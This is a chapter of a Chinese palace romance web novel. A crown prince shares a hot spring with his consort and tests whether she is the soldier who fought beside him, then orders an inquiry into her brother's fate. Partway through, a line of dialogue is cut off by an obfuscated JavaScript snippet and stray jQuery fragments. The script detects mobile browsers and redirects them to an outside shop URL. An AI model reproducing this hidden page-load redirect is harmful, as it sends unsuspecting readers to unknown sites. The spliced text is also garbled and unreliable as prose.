18. 芙蓉夜宴(1)

作品:《关河清晏

    沈照华没想到,陈致所烧的这第三把火,连汤泉池都未能幸免。


    晚膳后,陈致前脚刚出发去沐浴,唐近元后脚便转头回来说:“娘娘,殿下请您也一道去呢。”


    “啊?”


    她本以为陈致决定留宿正殿是为了平息物议,好和她午间的一出杀鸡儆猴相辅相成,怎么还要一同汤泉沐浴?


    难道皇帝夺情赐婚,太子又要夺情圆房?!


    “我...能不去吗?”沈照华把茶盏放下,也不再喝了。因为猜不透陈致的心思,她有些忐忑。


    苏晴在一旁没有作声,玉泉听了则立即上前说道:“我的小姐,这还有不去的道理?您忘了来东宫前,夫人是怎么嘱咐的了?”


    玉泉当时亲耳听到周氏告诉沈照华,子嗣为大。


    但是她也知道自家小姐虽看着外场能干,但于男女之事上是很羞涩的,当日周氏只是提点了她几句,她的耳根便发红了。


    玉泉还知道,沈照华是绝对不讨厌陈致的,不然方才用膳时也不会主动给他夹菜。


    于是玉泉连忙自作主张地向唐近元说道:“唐少监,我服侍娘娘把钗环卸了,稍后便去。”


    唐近元笑呵呵地退下了,沈照华偏过头来偷偷拧了玉泉一眼:“好蹄子,你倒做起我的主来了。”


    玉泉把眼睛瞟到别处不去看她,苏晴则在一旁低头带笑:“娘娘,又不是什么大事,这次就听玉泉姑娘的吧。”


    苏晴虽跟沈照华不过几日,但也知道这位太子妃不同常人,面对流言有狠辣手段,面对太子却显得有些不温不火。按理来说不应如此,想宫里哪个妃嫔不是使劲浑身解数侍奉圣驾?


    沈照华可不这么认为,她觉得这事可大可小。汤泉什么的,泡便泡了,可是这鸳鸯浴之后呢?


    她根本没做好动真格的准备,当时禁中派去侯府教习的女官,也因为她为父守丧情况特殊,没有教她如何在床笫之间侍奉太子。


    不管她是否有心,无力确是真的。


    沈照华不禁长吁了口气。不是说他矜贵肃正、清冷少言么,怎么如今急的反倒是他呢?


    ——


    用银炭烧了半日的暖阁早已一室温热,云母雕窗映着满架灯烛泛出淡淡柔光。


    宫人们服侍沈照华在池旁轩中净浴,先用澡豆细细搓去皮肤汗脂,再用香汤淋得肌肤滑腻、遍体生香。


    钗环尽褪,一编洗净的长发发梢滴着晶莹的香露,拭干轻挽,随意披散在肩上的一绺青丝妩媚丛生。


    地板水露湿滑,穿上淡粉色轻纱浴衣,披着罗衫,宫人扶着沈照华绕转屏风,步入活水汤泉。


    汉白玉砌就的芙蓉池上水汽氤氲,汤中之人一袭月白素衣在池壁旁倚阶慵坐,活水漫至他的胸前,在微微凸起的白腻胸肌处漾着微澜,烛影摇曳间,他本就如描似画的面容恍若仙人。


    感受到沈照华下阶入汤时水波推开的动静,陈致将本微偏斜的身子缓缓坐正,阖上的眼眸也转为半开。


    香丝松松挽起、薄纱掩映着绰约身姿的沈照华就这么进入他的眼帘时,陈致不禁噙笑缓吟:


    “今夜花神出蕊宫,绿云袅袅不禁风。”


    这等香艳诗句由他口中吟出,也并不觉得油腻与失礼,但沈照华是第一次听他这样对自己言语,不禁身上有些发麻。


    又想到自己是第一次以这般模样出现在他眼前,心头又有些发紧。她也坐在汤下阶上,让暖汤浸没身体。


    “都说灯下观美人,果然不错。”陈致又丝毫不腼腆地添了一句。


    沈照华虽有些害羞与窃喜,但终究不太适应有人以姿容夸她,不由得驳了一句回去:“妾哪有林娘子长得好?殿下该留着这些话夸她去。”


    说完她觉得似乎不大对劲,与林琰何干?


    陈致也琢磨起她这话中的言外之意:“这话听着有些酸了,莫非孤午间称赞林氏,太子妃有些嫉妒?”


    “哪有的事,妾只是实话实说。”沈照华慌忙否认,林氏也不容易,她才不会嫉妒一个深困宅院之女。


    二人池中一东一西相对而坐,香雾缭绕于水波之上,在二人之间漫起迷蒙薄烟。


    陈致从阶上起身,踩着芙蓉汤的白玉池底,拨开汤泉水一步步走向她。


    水漫在他的腰间,素衣被水浸透紧贴于身上,现出如松竹般纤细清劲的线条,如雪的肌肤、紧致的肌理在柔光笼罩下玉润白腻,水珠从这副纤而不弱的躯体上缓缓滑落,晃得沈照华有些神迷。


    沈照华不禁咽了下口水,又忙把眼睛偏向一边。非礼勿视,非礼勿视。


    陈致的幽幽清声伴着活水缓流声进入耳中:“实话实说?你可不是对孤坦诚相待的人。”


    他声音低缓,沈照华也垂着眸低声反驳道:“殿下好生冤枉人,妾待殿下哪里有假?”


    陈致几乎已经贴到了她的身前,在她的额前轻声低语:“真假一事,人心自知。”


    初见那日的场景重现眼前,同这汤泉水一起浮荡于袅袅水汽之间,沈照华猛地抬眸看向他。


    他还不曾忘。他竟不曾忘。


    陈致的目光摩挲在她的脸上,与她的眼神瞬间相触,沈照华又忙垂下脸去。


    “殿下说什么呢,妾有些听不懂。”


    陈致看着眼前紧贴池壁躲无可躲的沈照华,心里早察觉了她的异样。


    他记得她害羞时低头垂眉的弧度,记得她心虚时眼睫闪动的幅度,记得她的嘴硬与自持……眼前冰肌玉骨的佳人,可不正是边关提枪策马的少年将军?


    他的手不由自主地扶上她滑腻的右肩,手指拂过她清晰的锁骨,顺势拈起纱衣的一角便要褪去。


    是与不是,他要看个分明。


    沈照华的心已经跳到了喉咙。他的指尖点上自己的右肩时,她忽然意识到他今夜邀自己同沐汤泉的意图。


    他知道她右臂上有刀伤,想去探看那道疤痕。


    沈照华却忙拨开他的手,将身一避顺水游离此地,将纱衣拢好。


    汤波再次涌起,沈照华绕到他的身后,却看见他肩胛处受伤缝合而留下的伤疤在素衣之下若隐若现。


    她伸手欲触摸那道伤,手指才要抬起,又被她生生攥住。


    “你……还疼吗?”


    陈致偏过头来,烛光照在他的侧脸,勾勒出眉骨鼻峰完美的弧度。他眼角余光轻轻瞥向她:“什么?”


    “殿下尊养于玉楼金阙之内,身上怎会有这样深的伤口?”


    说一个谎,要靠千万个谎来圆。连关心他的伤势都需要迂回相问,沈照华一时无力至极。


    “今年四月,孤在明德宫为母后祈福,心念西境兵事,梦中为敌军所伤。”


    储君轻易不得离京,原来他是以为母祈福为由暗涉边关,难怪他一直瞒着自己。


    看似玩笑的答话,却在沈照华喉中洇了一团苦涩:“梦中吗?”


    分明是与她并肩作战时所伤。


    “妾在家时听兄长提及边关战事,说每场交锋后都是黄沙成紫,尸横遍野,幸存下来的也是身受刀枪,皮穿骨错。还好如今,都结束了。”


    “都结束了。”陈致回味着这四个字的重量,转身重新面向她,“你兄长,和你长得像吗?”


    “像。”沈照华浅浅一笑,不露出半点撒谎的痕迹,“家里人常说,我们是一个模子刻出来的,都像母亲。”


    “你兄长如今居家守孝?”


    “嗯。只是父亲去后,兄长身上也不大好了,收复新岭时受了重伤,牵扯得旧箭伤一并复发,又遭逢丧亲之痛,如今应还在服药。”


    沈照华一边拨着汤泉淋身,一边淡淡说着,说得像真的一样。


    她无法说兄长早已去世,也无法说不久之后,临安老宅就要宣布兄长居丧中道过世的消息,让沈家曾以女代子的欺君之事彻底掩埋地下。


    陈致不去戳穿她的谎言,只是说着:


    “天地无情,蚁梦南柯。逝者已去,活着的人,就不要再让逝者挂心才是。你与家里人,感情很好吧?”


    “嗯,妾自幼受父母兄长悉心教导,一家人和乐无穷。小时候妾不爱读书,总是调皮,也不免常挨训斥,只是如今怙恃尽失,想再听父母骂上几句,已不可能了。”


    “不经失去,难知可贵,我也是如此。当年庄懿皇后在时,日日察看窗课、严加训导,对我饮食起居、一举一动均有规范,我也常怨苛刻,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17399840|199542||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    甚至逆反抗议,惹得母后不快。”


    陈致缓缓说着,弥漫的香雾遮住了他眼底一抹酸涩的笑意,“如今想真是不应该,母后在时,我尚有荫庇依靠,母后去后,便只剩孤身一人了。”


    “怎会,我…妾也会是殿下的依靠。”


    无意之间,陈致未再自称孤,沈照华也险些失了礼数。许是这芙蓉汤里太像梦境,人在梦中总会不觉失控。


    但她从未想过,高居宫阙、天下仰望的太子殿下,也会念念不忘丧失至亲的彻骨之哀,也会发出当时只道是寻常的无奈之慨。


    陈致第一次听到有人想成为他的“依靠”,不觉一时失笑:“这个承诺可不是好做的,太子妃可要量力而行。”


    “凡事两个人做,总比一个人要容易些,再不济,也不会觉得太孤单。”


    沈照华从不是轻易许诺之人,若太子不是陈致,她便只顾自己的事便了,可偏偏是他。


    是他的话,她愿意陪他共立浪头,就如桑台城下,他坚决地同自己共克敌军一样。


    ——


    室外清寒,芙蓉汤暖。


    沈照华与陈致未回正殿,就在屏外暖阁中更衣就寝。


    室内熏着一炉清甜的“春消息”,叫人仿佛置身春芳初绽的时节。


    宫人关闭阁门,却下锦帐,悄声退去。


    雕花床上,陈致缓抬上身面向有些紧张的沈照华,想帮她把上衫褪去。


    沈照华下意识地挡住他的手,却透过他指腹的温热,感受到了自己指尖的冰凉。


    “怎么了?”


    陈致柔声问着。面对对情爱之事尚很青涩的沈照华,即使被挡了一下,他也有足够的耐心。


    “是不是……有点快?”


    她面上的潮红和眼眸的闪躲让他尽收眼底,陈致一笑。这是她今天第二次说觉得快了。


    “那什么时候才不算快?”


    他的气息再次吹过鬓边,沈照华却不禁把衣襟拢了拢。


    她不想让他看见自己的右臂。


    陈致以温柔又不可抗拒的力道将她的手拿开,缓缓解开她衣襟的系带。


    素色裹胸衬得肌肤清白如霜,修长的颈间滑过她吞咽的起伏,他将衣衫从背后拨下,她瘦削的肩颈臂膀显露无遗。


    淡淡的清香从她肌理间渗出,陈致的喉结不由滚动一瞬。待他的目光从她的下颌抚摸至右臂,他的眸光蓦地一滞。


    那素臂之上哪里有一丝一毫受过刀伤的痕迹?!


    他手上的动作也停止了,沈照华察觉到他的异样,又默默把衣衫穿上。


    为了不露痕迹,她特意让徐仲明从他家中拿了宫中所用的药膏,兢兢业业抹了将近半年,才算把这疤痕平复,只有一道浅浅的银痕,不在灯光之下细细观察,是看不出的。


    但她不愿让陈致发现她右臂无伤。


    新婚之夜,他发现自己不是当初之人时,神情是那般冷漠。又把自己甩在房中,独自扬长而去,连一句关心的话都没有。


    今日他的态度才刚刚好些,若让他把心中那处仅存的疑点也消除,岂不是又要重演当晚的场景?


    她虽然不想坐实沈家的欺君之罪,但也不想让他对自己视若无睹。


    往事如烟,可人心一但动过,岂会真正雁过无痕?


    透过陈致的神色,沈照华知道他此刻一定疑窦丛生。可她不能为他解惑。


    “殿下,休息吧,明日还要早朝呢。”


    她将被子抻上来,便侧过身去睡了。她不想再去揣摩陈致的心思,他爱怎么想,便怎么想吧。


    不想,背后的陈致将被子轻轻替她掩好,柔声说道:“睡吧,过了今晚,想必东宫再也不会有流言蜚语了。”


    香炉里的春消息丝丝盘旋而上,夜里,沈照华梦醒之际转头看去,发现陈致已然不见了踪影。


    沈照华心头一皱,难道,他又一次头也不回地走了?


    慌忙下床拨开锦帐,借着窗外透进的月光张目望去,却见窗下影着一个熟悉的影子。


    窗外陈致正向唐近元吩咐:


    “让崔知白速遣人秘往临安,查探沈少将军的情况。孤要知道,他到底是生,还是死。”